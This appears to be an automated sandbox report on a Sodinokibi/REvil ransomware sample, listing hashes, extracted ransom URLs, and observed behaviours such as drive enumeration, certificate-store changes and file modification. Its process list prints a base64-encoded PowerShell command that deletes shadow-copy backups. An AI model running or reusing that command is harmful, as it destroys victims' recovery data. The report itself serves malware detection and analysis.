Analysis
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max time kernel
143s -
max time network
147s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
24-08-2024 18:39
Behavioral task
behavioral1
Sample
bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
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Target
bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe
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Size
164KB
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MD5
bf31b07ed28a86bd34223675a8496fdb
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SHA1
ba660ebd94e582847e8b13320214c0ffd0811d1c
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SHA256
27adf17658a15e80b80a56b94edcaad7c8397ddcb59e57e9751b5feffc39bc50
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SHA512
97777ccf1a9b6f9952163afffb07eca233a6e074e02cb3f25bcc18fe5ef3a60f3b15ede43d216adea2f7a5bc0607cde244525c6770b99e32d9e10ea4745707c2
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SSDEEP
3072:xdHwJK3BMoFiWjmfb+HP+rnRfUVJ2vK829ZI/S:xNwE3q4jmfCHWtUv9y/
Malware Config
Extracted
C:\Users\xn8ewp022-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F534006903042994
http://decryptor.top/F534006903042994
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\B: bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened (read-only) \??\N: bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened (read-only) \??\P: bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened (read-only) \??\V: bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened (read-only) \??\X: bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened (read-only) \??\H: bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened (read-only) \??\Q: bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened (read-only) \??\U: bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened (read-only) \??\J: bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened (read-only) \??\K: bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened (read-only) \??\G: bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened (read-only) \??\L: bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened (read-only) \??\M: bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened (read-only) \??\S: bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened (read-only) \??\D: bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened (read-only) \??\I: bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened (read-only) \??\W: bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened (read-only) \??\Z: bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened (read-only) \??\R: bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened (read-only) \??\T: bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened (read-only) \??\Y: bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened (read-only) \??\E: bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened (read-only) \??\F: bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened (read-only) \??\A: bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened (read-only) \??\O: bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\7fqy6sj4.bmp" bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe -
Drops file in Program Files directory 27 IoCs
description ioc Process File opened for modification \??\c:\program files\DebugRegister.rm bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened for modification \??\c:\program files\SubmitCopy.xlsb bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened for modification \??\c:\program files\StepMount.mp2v bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\xn8ewp022-readme.txt bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened for modification \??\c:\program files\ImportResolve.AAC bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened for modification \??\c:\program files\RemoveCompare.zip bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened for modification \??\c:\program files\OpenProtect.dib bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened for modification \??\c:\program files\UpdateConvertFrom.ppsm bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened for modification \??\c:\program files\DismountExpand.odt bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened for modification \??\c:\program files\MountMove.ram bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened for modification \??\c:\program files\RevokeSkip.ADTS bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened for modification \??\c:\program files\WaitComplete.odt bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened for modification \??\c:\program files\CopyWait.pot bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened for modification \??\c:\program files\DebugSplit.aifc bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened for modification \??\c:\program files\UnregisterEdit.pub bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened for modification \??\c:\program files\TraceEnter.wmv bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened for modification \??\c:\program files\UnprotectDisable.xml bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened for modification \??\c:\program files\RenameRead.wpl bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened for modification \??\c:\program files\ShowSuspend.rtf bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File created \??\c:\program files\xn8ewp022-readme.txt bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened for modification \??\c:\program files\CheckpointUnlock.html bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened for modification \??\c:\program files\DismountJoin.emf bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File created \??\c:\program files (x86)\xn8ewp022-readme.txt bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened for modification \??\c:\program files\DismountComplete.wma bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\xn8ewp022-readme.txt bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File opened for modification \??\c:\program files\SkipUnpublish.scf bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\xn8ewp022-readme.txt bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 496 bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe 2204 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2204 powershell.exe Token: SeBackupPrivilege 2876 vssvc.exe Token: SeRestorePrivilege 2876 vssvc.exe Token: SeAuditPrivilege 2876 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 496 wrote to memory of 2204 496 bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe 30 PID 496 wrote to memory of 2204 496 bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe 30 PID 496 wrote to memory of 2204 496 bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe 30 PID 496 wrote to memory of 2204 496 bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe 30 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\bf31b07ed28a86bd34223675a8496fdb_JaffaCakes118.exe"1⤵
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:496 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2204
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2316
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2876
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
6KB
MD53c6bc80fb3bf4f68eed378695592b124
SHA19c3ad22d40283ce422da7e985c01aaebe507d783
SHA256187b016cc30a98f9a3871359997dfcce8464fda80a17a9a37a8a08c0399b6649
SHA512fd027ba2493c84ba741970c94e9cb2f28da0b88ca6566c7d83b0567d0787d052a410556da87f8a574e9438cca77ef94c06ff97b7179f5d764187a29a684e0692